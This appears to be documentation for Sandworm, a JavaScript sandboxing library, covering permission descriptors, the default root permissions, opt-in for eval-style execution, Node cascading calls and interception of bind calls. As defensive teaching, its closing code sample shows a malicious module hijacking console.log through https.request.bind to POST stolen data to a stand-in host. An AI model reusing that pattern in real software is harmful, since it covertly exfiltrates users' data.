Describing Permissions
The permissions config option should be an array of permission descriptor objects with the following structure:
a
moduleproperty that can be either a string (matching a caller path exactly) or a RegExp (not recommended - see "Matching caller paths with RegEx" below).a
permissionsproperty that can either be a boolean value (representing access to the entire library of supported methods) or an array of granular string permissions, representing individual supported methods (likeStorage.setItemorFetch.fetch).
Note If the
permissionspassed to Sandworm do not contain an explicit descriptor for therootmodule (your app code), it will be given all permissions by default (by appending{module: 'root', permissions: true}to the passed list). You can override this behavior and grant only specific, explicit permissions for the root module, just like for any other modules in your app, by passing a descriptor withmodule: 'root'.
Note In dev mode, all modules are granted all permissions, and any passed
permissionsconfig is ignored.
Explicit permissions for arbitrary code execution
Note This mainly applies to setting up permissions for the root module. For most use cases, you should avoid granting global permissions to a module call path to comply with PoLP. The default root permission descriptor is
{ module: 'root', permissions: true }.
Setting permissions: true within a module descriptor will give that module (or call path) permissions to invoke any Sandworm-supported method except for a set of particularly unsafe ones that allow for arbitrary code execution - like eval or vm.runInContext. Using these methods carries a considerable security risk and should generally be avoided. Rigorously audit the code of a module that uses these before using it in your app.
However, suppose you do choose to give your app's code (or any specific caller) access to all underlying APIs as well as arbitrary code execution methods. In that case, you need to explicitly change your permissions from true to ['eval.eval', '*'] to acknowledge that you accept this high-risk configuration.
Node cascading calls
Some Node APIs internally call other APIs as part of their operation. For example:
when loading local files,
requireuses severalfsmethods as well asvm.compileFunction;https.requireusesdns.lookupandtls.Socket.
To support this, Sandworm will automatically allow the execution of any method calls where the direct caller is part of Node's internal sources. This would indicate that:
another Node API has been previously invoked, resulting in the current cascading call;
either the previous call has been captured and allowed by Sandworm;
or it was not part of Sandworm's library, and thus deemed safe for free use.
bind calls
bind callsFor all intercepted methods, Sandworm will also capture and enforce access to method.bind whenever it is called with more than one argument. The reason behind this is that using bind to partially apply arguments creates contained methods that can then float around until they get executed by another module. For example:
// Say we're a module that doesn't have `https.request` access
// but we want to post some stolen data to our server.
// We can create a custom method with the proper arguments using `bind`
// and then we can use it to replace a common js function.
// Sandworm will require the `bind.args` permission to allow this.
console.log = https.request.bind(this, {
hostname: 'unsafe.com',
port: 443,
path: '/ingest',
method: 'POST'
});
// Now we just wait for root to log anythingLast updated
Was this helpful?